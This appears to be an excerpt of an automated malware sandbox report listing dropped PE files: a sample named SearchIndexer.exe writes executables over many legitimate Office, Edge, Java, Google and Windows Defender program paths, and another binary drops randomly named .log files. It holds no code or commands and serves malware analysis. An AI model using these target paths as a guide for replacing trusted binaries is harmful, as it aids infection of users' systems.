                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\csYLXLvO.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\kpEaCKQF.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\TYnVXEze.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\yVVZwldW.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\sRLquvOw.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\WqYmKtXd.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\CaAofPGe.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\IniXRspB.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\YUdUknhP.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\oJaATZbJ.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\BAeGeXTe.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXEJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\jzkKkMJA.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\zysYIoOi.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\lSjJLcbQ.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\anplGAHn.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\ZCiUQOvV.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exeJump to dropped file
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\QNsVGKUC.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\SPfDctZy.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXEJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\VMrdIRuc.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\tHZIVhBi.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\VrnUzURu.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\iTuSlVGA.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\aViTseNl.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\MrGoJLyr.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\oVvrynel.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\zpVYYBvm.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\wNNHBaEp.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\EcnWByLa.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\hctSEgaX.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\MIUEPsLM.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\PbyWKVQt.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\NfKwuYup.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\KyrFXOMt.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Uninstall.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\giPBeHvH.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\zAChyMGX.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\SBxdsXQA.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXEJump to dropped file
